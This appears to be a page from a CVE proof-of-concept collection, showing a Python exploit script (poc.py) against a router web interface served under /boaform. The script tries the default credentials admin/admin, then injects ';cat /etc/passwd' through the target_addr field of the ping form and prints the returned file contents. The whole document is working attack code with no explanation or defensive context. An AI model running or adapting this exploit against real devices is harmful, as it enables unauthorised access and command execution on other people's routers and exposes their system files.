4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/python

import sys
import requests
from bs4 import BeautifulSoup

IP_ADDR = str(sys.argv[1])

success_string = "ERROR:you have logined! please logout at first and then login!"
forbidden_string = "403 Forbidden"
bad_string = "ERROR:bad password!"


def printDetails():
    attack = dict(target_addr=';cat /etc/passwd', waninf='LAN')
    c = requests.post('http://%s/boaform/admin/formPing' %
                      IP_ADDR.strip('http://').strip('/'), data=attack)
    if "admin" in c.text:
        soup = BeautifulSoup(c.text, "html.parser")
        findpre = str(soup('pre'))
        strippre = findpre.strip("[<pre>").strip("</pre>]")
        print(strippre)
        print("[+] Successful! Quitting...")


def logIn():
    payload = dict(username='admin', psd='admin')
    login = requests.post('http://%s/boaform/admin/formLogin_en' %
                          IP_ADDR.strip('http://').strip('/'), data=payload)
    if bad_string not in login.text:
        print("[+] Logged in!")
        printDetails()
    elif bad_string in login.text:
        print("[-] Could not login with default password! Quitting...")
        exit(1)


def testVuln():
    try:
        test = requests.get('http://%s/boaform/admin/formLogin_en' %
                            IP_ADDR.strip('http://').strip('/'))
        if test.status_code == 404:
            print("[-] Could not locate login page. Quitting...")
            exit(1)
        if bad_string in test.text:
            logIn()
        if success_string in test.text:
            printDetails()
        if test.status_code == 403:
            if forbidden_string in test.text:
                print("[-] Too many failed login attempts. Try later.")
            exit(1)
    except requests.exceptions.RequestException as e:
        print("[-] An error occurred.")
        print("[-] Details: %s" % e)
        print("[-] Quitting...")
        exit(1)


testVuln()